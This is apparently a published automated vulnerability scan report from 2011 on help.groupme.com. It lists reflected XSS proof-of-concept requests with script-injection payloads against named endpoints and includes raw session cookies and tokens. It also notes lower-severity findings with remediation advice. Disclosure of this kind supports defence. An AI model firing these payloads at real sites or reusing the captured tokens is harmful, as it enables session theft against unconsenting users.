XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, help.groupme.com

Report generated by XSS.CX at Mon Aug 22 07:17:42 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

XSS in help.groupme.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://help.groupme.com/home [name of an arbitrarily supplied request parameter]

1.2. http://help.groupme.com/widgets/async.json [REST URL parameter 2]

2. Session token in URL

3. Cross-domain script include

3.1. http://help.groupme.com/entries/514795-does-groupme-work-in-my-country

3.2. http://help.groupme.com/home

4. Email addresses disclosed

4.1. http://help.groupme.com/entries/514795-does-groupme-work-in-my-country

4.2. http://help.groupme.com/home

5. Robots.txt file

6. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/home [name of an arbitrarily supplied request parameter]
/widgets/async.json [REST URL parameter 2]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://help.groupme.com/home [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://help.groupme.com
Path:	/home

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae6e8"><script>alert(1)</script>90a97404bc0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /home?ae6e8"><script>alert(1)</script>90a97404bc0=1 HTTP/1.1
Host: help.groupme.com
Proxy-Connection: keep-alive
Referer: http://groupme.com/forgot-password
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173730677.1355328083.1312374536.1313198305.1314018111.3; __utmb=173730677.3.10.1314018111; __utmc=173730677; __utmz=173730677.1314018111.3.3.utmcsr=lererventures.com|utmccn=(referral)|utmcmd=referral|utmcct=/companies; _g=BAh7CCIQX2NzcmZfdG9rZW4iMU5nWWdhT2pFemlRekFLQnFLTUVqSmdyUWlKOEFvbGdQMmtaaStBd1pUa2c9Ig9zZXNzaW9uX2lkIiVhMTM5NGUwODBiMWVlNTI4ZmMzODc1MTJmOWI3ZGYyMyIJZnVsbEY%3D--6c2588df5e7aa3bd5763629d7449874dc32c09f5; _zendesk_session=BAh7CzoMYWNjb3VudGkDjxwBIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZiITd2FyZGVuLm1lc3NhZ2V7ADoPdXBkYXRlZF9hdGwrBxxTUk46B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--1094bfdf8fe5c7b41778f4d8a2c1947df8723316

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:02:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "740dccb7389f8b6bb875fb0ce942e770"
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 558
Set-Cookie: _zendesk_session=BAh7DToQc291cmNlX3BhZ2UiOC9ob21lP2FlNmU4Ij48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ%2BOTBhOTc0MDRiYzA9MToMYWNjb3VudGkDjxwBOhBfY3NyZl90b2tlbiIxQ1diLzNwN2ZBTG95VWIxSFVBR1VRZERDRWlnZkJBMjA2YW5DcENEdENlaz0iDmlzX21vYmlsZUY6D3Nlc3Npb25faWQiJWE0N2Q2Y2I5MzMxNmEwNmYyODVhNTczYzBiZmZkOTgyOg91cGRhdGVkX2F0bCsHblNSTiITd2FyZGVuLm1lc3NhZ2V7ADoHaWQiFWxma2xxYzQ4ci15bXU4b3A%3D--0492771d71170db9d34b30f60db7e5211888f1d9; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 21444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-e
...[SNIP]...
<link rel="canonical" href="help.groupme.com/home?ae6e8"><script>alert(1)</script>90a97404bc0=1" />
...[SNIP]...

1.2. http://help.groupme.com/widgets/async.json [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://help.groupme.com
Path:	/widgets/async.json

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a638c"><script>alert(1)</script>f8b1c1ca9f1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /widgets/a638c"><script>alert(1)</script>f8b1c1ca9f1?user_id=null&v=undefined&action_method=get&action_name=index&controller_name=home HTTP/1.1
Host: help.groupme.com
Proxy-Connection: keep-alive
Referer: http://help.groupme.com/home
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173730677.1355328083.1312374536.1313198305.1314018111.3; __utmb=173730677.3.10.1314018111; __utmc=173730677; __utmz=173730677.1314018111.3.3.utmcsr=lererventures.com|utmccn=(referral)|utmcmd=referral|utmcct=/companies; _g=BAh7CCIQX2NzcmZfdG9rZW4iMU5nWWdhT2pFemlRekFLQnFLTUVqSmdyUWlKOEFvbGdQMmtaaStBd1pUa2c9Ig9zZXNzaW9uX2lkIiVhMTM5NGUwODBiMWVlNTI4ZmMzODc1MTJmOWI3ZGYyMyIJZnVsbEY%3D--6c2588df5e7aa3bd5763629d7449874dc32c09f5; _zendesk_session=BAh7DDoMYWNjb3VudGkDjxwBOhBzb3VyY2VfcGFnZSILL2hvbWU%2FIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZjoPdXBkYXRlZF9hdGwrBx1TUk4iE3dhcmRlbi5tZXNzYWdlewA6B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--c4850a7d00a6165c003e4c603c34aa5f616749d1

Response

HTTP/1.1 403 Forbidden
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:14:25 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 403 Forbidden
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 96
Set-Cookie: _zendesk_session=BAh7DDoQX2NzcmZfdG9rZW4iMU9saEtOLy8yVG5uaWo2Y1k1dEVvMS9JdS9EUUFHeGV6Y01qY05iMk1OSGM9OgxhY2NvdW50aQOPHAEiDmlzX21vYmlsZUY6D3Nlc3Npb25faWQiJTA1Mjc1MGU3MmE0ZGU4NzYwYTMxYmZhYjBhYTgxZDc3Og91cGRhdGVkX2F0bCsHMVZSTiITd2FyZGVuLm1lc3NhZ2V7ADoHaWQiFGdpZmxxZW4yeW83N2J3dg%3D%3D--60f3efff6ec28e93f263dd1a1cd94cbc7ae7eb8c; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 12892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-e
...[SNIP]...
<link rel="canonical" href="help.groupme.com/widgets/a638c"><script>alert(1)</script>f8b1c1ca9f1?user_id=null&v=undefined&action_method=get&action_name=index&controller_name=home" />
...[SNIP]...

2. Session token in URL previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://help.groupme.com
Path:	/entries/514795-does-groupme-work-in-my-country/voting_control

Issue detail

The URL in the request appears to contain a session token within the query string:

http://help.groupme.com/entries/514795-does-groupme-work-in-my-country/voting_control?authenticity_token=G4iZCdVWAXxvsyNdypQ%2Fm0ypTc52V0UxlsAYRVsB2mg%3D

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /entries/514795-does-groupme-work-in-my-country/voting_control?authenticity_token=G4iZCdVWAXxvsyNdypQ%2Fm0ypTc52V0UxlsAYRVsB2mg%3D HTTP/1.1
Host: help.groupme.com
Proxy-Connection: keep-alive
Referer: http://help.groupme.com/entries/514795-does-groupme-work-in-my-country
X-Prototype-Version: 1.6.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173730677.1355328083.1312374536.1313198305.1314018111.3; __utmb=173730677.3.10.1314018111; __utmc=173730677; __utmz=173730677.1314018111.3.3.utmcsr=lererventures.com|utmccn=(referral)|utmcmd=referral|utmcct=/companies; _g=BAh7CCIQX2NzcmZfdG9rZW4iMU5nWWdhT2pFemlRekFLQnFLTUVqSmdyUWlKOEFvbGdQMmtaaStBd1pUa2c9Ig9zZXNzaW9uX2lkIiVhMTM5NGUwODBiMWVlNTI4ZmMzODc1MTJmOWI3ZGYyMyIJZnVsbEY%3D--6c2588df5e7aa3bd5763629d7449874dc32c09f5; _zendesk_session=BAh7DDoMYWNjb3VudGkDjxwBOhBzb3VyY2VfcGFnZSILL2hvbWU%2FIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZjoPdXBkYXRlZF9hdGwrByJTUk4iE3dhcmRlbi5tZXNzYWdlewA6B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--2a6ae0a3782eee15bfc242a767532d80c480eb9a

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:04:22 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "6ced47d1464f0fd0c1a8b3ea2d6d0ebb"
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 285
Set-Cookie: _zendesk_session=BAh7DToQX2NzcmZfdG9rZW4iMXV0RG54WEhtVndBQ0NtSjVxVXE4MnJCc0dRcjZGdGU5MlhSdTlKamtIUWs9OhBzb3VyY2VfcGFnZSILL2hvbWU%2FOgxhY2NvdW50aQOPHAEiDmlzX21vYmlsZUY6D3Nlc3Npb25faWQiJWE0N2Q2Y2I5MzMxNmEwNmYyODVhNTczYzBiZmZkOTgyOg91cGRhdGVkX2F0bCsH1lNSTiITd2FyZGVuLm1lc3NhZ2V7ADoHaWQiFWxma2xxYzQ4ci15bXU4b3A%3D--9ce1187202bebc09c4b5d0a3a46647d41131e4e9; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 175

<strong>6 People</strong> found this helpful
<a href="/login?return_to=http%3A%2F%2Fhelp.groupme.com%2Fentries%2F514795-does-groupme-work-in-my-country"> - <b>Me too!</b></a>

3. Cross-domain script include previous next
There are 2 instances of this issue:

/entries/514795-does-groupme-work-in-my-country
/home

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

3.1. http://help.groupme.com/entries/514795-does-groupme-work-in-my-country previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.groupme.com
Path:	/entries/514795-does-groupme-work-in-my-country

Issue detail

The response dynamically includes the following scripts from other domains:

http://assets.zendesk.com/assets/auto_included.js?1313793527
http://assets.zendesk.com/assets/bootstrap.js?1313793527
http://s3.amazonaws.com/totango-cdn/sdr.js

Request

GET /entries/514795-does-groupme-work-in-my-country HTTP/1.1
Host: help.groupme.com
Proxy-Connection: keep-alive
Referer: http://help.groupme.com/home
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173730677.1355328083.1312374536.1313198305.1314018111.3; __utmb=173730677.3.10.1314018111; __utmc=173730677; __utmz=173730677.1314018111.3.3.utmcsr=lererventures.com|utmccn=(referral)|utmcmd=referral|utmcct=/companies; _g=BAh7CCIQX2NzcmZfdG9rZW4iMU5nWWdhT2pFemlRekFLQnFLTUVqSmdyUWlKOEFvbGdQMmtaaStBd1pUa2c9Ig9zZXNzaW9uX2lkIiVhMTM5NGUwODBiMWVlNTI4ZmMzODc1MTJmOWI3ZGYyMyIJZnVsbEY%3D--6c2588df5e7aa3bd5763629d7449874dc32c09f5; _zendesk_session=BAh7DDoQc291cmNlX3BhZ2UiCy9ob21lPzoMYWNjb3VudGkDjxwBIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZiITd2FyZGVuLm1lc3NhZ2V7ADoPdXBkYXRlZF9hdGwrBx9TUk46B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--947666e68fc807ee6c7a1e7dd88a1a462610df3f

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:04:02 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "0e75206471bc4f7f692d15ece02bcaf2"
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 28
Set-Cookie: _zendesk_session=BAh7DToMYWNjb3VudGkDjxwBOhBzb3VyY2VfcGFnZSILL2hvbWU%2FOhBfY3NyZl90b2tlbiIxdXREbnhYSG1Wd0FDQ21KNXFVcTgyckJzR1FyNkZ0ZTkyWFJ1OUpqa0hRaz0iDmlzX21vYmlsZUY6D3Nlc3Npb25faWQiJWE0N2Q2Y2I5MzMxNmEwNmYyODVhNTczYzBiZmZkOTgyIhN3YXJkZW4ubWVzc2FnZXsAOg91cGRhdGVkX2F0bCsHwlNSTjoHaWQiFWxma2xxYzQ4ci15bXU4b3A%3D--2389341867cc629bb6b1c9df5a20a7a7c92842c4; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 8404

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-e
...[SNIP]...
<link rel='stylesheet' type='text/css' href='/generated/stylesheets/branding/728/72847/1311318125.css' media='screen' />

<script src='//s3.amazonaws.com/totango-cdn/sdr.js' async='async'></script>
<script src="http://assets.zendesk.com/assets/bootstrap.js?1313793527" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets.zendesk.com/assets/auto_included.js?1313793527" type="text/javascript"></script>
...[SNIP]...

3.2. http://help.groupme.com/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.groupme.com
Path:	/home

Issue detail

The response dynamically includes the following scripts from other domains:

http://assets.zendesk.com/assets/auto_included.js?1313793527
http://assets.zendesk.com/assets/bootstrap.js?1313793527
http://s3.amazonaws.com/totango-cdn/sdr.js

Request

GET /home HTTP/1.1
Host: help.groupme.com
Proxy-Connection: keep-alive
Referer: http://groupme.com/forgot-password
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173730677.1355328083.1312374536.1313198305.1314018111.3; __utmb=173730677.3.10.1314018111; __utmc=173730677; __utmz=173730677.1314018111.3.3.utmcsr=lererventures.com|utmccn=(referral)|utmcmd=referral|utmcct=/companies; _g=BAh7CCIQX2NzcmZfdG9rZW4iMU5nWWdhT2pFemlRekFLQnFLTUVqSmdyUWlKOEFvbGdQMmtaaStBd1pUa2c9Ig9zZXNzaW9uX2lkIiVhMTM5NGUwODBiMWVlNTI4ZmMzODc1MTJmOWI3ZGYyMyIJZnVsbEY%3D--6c2588df5e7aa3bd5763629d7449874dc32c09f5; _zendesk_session=BAh7CzoMYWNjb3VudGkDjxwBIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZiITd2FyZGVuLm1lc3NhZ2V7ADoPdXBkYXRlZF9hdGwrBxxTUk46B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--1094bfdf8fe5c7b41778f4d8a2c1947df8723316

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:01:17 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "ec70f3b1702cac0801091aaadff12687"
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 34
Set-Cookie: _zendesk_session=BAh7DDoQc291cmNlX3BhZ2UiCy9ob21lPzoMYWNjb3VudGkDjxwBIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZiITd2FyZGVuLm1lc3NhZ2V7ADoPdXBkYXRlZF9hdGwrBx1TUk46B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--696928a8f962c3fe3ff9cba082c8de11d70c1ed8; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 21266

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-e
...[SNIP]...
<link rel='stylesheet' type='text/css' href='/generated/stylesheets/branding/728/72847/1311318125.css' media='screen' />

<script src='//s3.amazonaws.com/totango-cdn/sdr.js' async='async'></script>
<script src="http://assets.zendesk.com/assets/bootstrap.js?1313793527" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets.zendesk.com/assets/auto_included.js?1313793527" type="text/javascript"></script>
...[SNIP]...

4. Email addresses disclosed previous next
There are 2 instances of this issue:

/entries/514795-does-groupme-work-in-my-country
/home

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

4.1. http://help.groupme.com/entries/514795-does-groupme-work-in-my-country previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.groupme.com
Path:	/entries/514795-does-groupme-work-in-my-country

Issue detail

The following email address was disclosed in the response:

invalid@example.com

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:04:02 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "0e75206471bc4f7f692d15ece02bcaf2"
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 28
Set-Cookie: _zendesk_session=BAh7DToMYWNjb3VudGkDjxwBOhBzb3VyY2VfcGFnZSILL2hvbWU%2FOhBfY3NyZl90b2tlbiIxdXREbnhYSG1Wd0FDQ21KNXFVcTgyckJzR1FyNkZ0ZTkyWFJ1OUpqa0hRaz0iDmlzX21vYmlsZUY6D3Nlc3Npb25faWQiJWE0N2Q2Y2I5MzMxNmEwNmYyODVhNTczYzBiZmZkOTgyIhN3YXJkZW4ubWVzc2FnZXsAOg91cGRhdGVkX2F0bCsHwlNSTjoHaWQiFWxma2xxYzQ4ci15bXU4b3A%3D--2389341867cc629bb6b1c9df5a20a7a7c92842c4; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 8404

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-e
...[SNIP]...
8.86409","uses12HourClock":false,"tags":[],"restriction":0,"accessibleForums":true,"passwordExpiresAt":null,"role":0,"hasEmail":true,"availableForVoice":false,"assumed":false,"quietMode":true,"email":"invalid@example.com","availableForVoiceOn":"off","organization":null,"name":"Anonymous user","locale_version":1311912240,"id":null,"authenticityToken":"G4iZCdVWAXxvsyNdypQ/m0ypTc52V0UxlsAYRVsB2mg="});
currentAccount =
...[SNIP]...

4.2. http://help.groupme.com/home previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.groupme.com
Path:	/home

Issue detail

The following email addresses were disclosed in the response:

invalid@example.com
support@groupme.com

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:01:17 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "ec70f3b1702cac0801091aaadff12687"
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 34
Set-Cookie: _zendesk_session=BAh7DDoQc291cmNlX3BhZ2UiCy9ob21lPzoMYWNjb3VudGkDjxwBIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZiITd2FyZGVuLm1lc3NhZ2V7ADoPdXBkYXRlZF9hdGwrBx1TUk46B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--696928a8f962c3fe3ff9cba082c8de11d70c1ed8; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 21266

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-e
...[SNIP]...
rs/new-1314016554.83488","authenticityToken":"L8IXEVHP9yCT1fCc1XmLQjfsRy0qDSfx40t8Q6GE64I=","tags":[],"restriction":0,"uses12HourClock":false,"role":0,"passwordExpiresAt":null,"assumed":false,"email":"invalid@example.com","accessibleForums":true,"availableForVoice":false,"organization":null,"hasEmail":true,"name":"Anonymous user","availableForVoiceOn":"off","id":null,"quietMode":true});
currentAccount = Zendesk.curr
...[SNIP]...
<a href="mailto:support@groupme.com">support@groupme.com</a>
...[SNIP]...

5. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.groupme.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: help.groupme.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:01:17 GMT
Content-Type: text/plain
Content-Length: 531
Last-Modified: Thu, 11 Aug 2011 23:50:54 GMT
Connection: close
Accept-Ranges: bytes

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
User-agent: *
Disallow: /children
Disallow: /groups
Disallow: /organizations
Disallow: /tickets
Disa
...[SNIP]...

6. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://help.groupme.com
Path:	/widgets/async.json

Issue detail

The response contains the following Content-type statement:

Content-Type: application/json; charset=utf-8

The response states that it contains JSON. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /widgets/async.json?user_id=null&v=undefined&action_method=get&action_name=index&controller_name=home HTTP/1.1
Host: help.groupme.com
Proxy-Connection: keep-alive
Referer: http://help.groupme.com/home
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
